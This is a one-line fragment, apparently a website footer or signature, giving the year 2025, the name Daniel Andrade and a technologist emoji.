2025 Daniel Andrade 👨🏻‍💻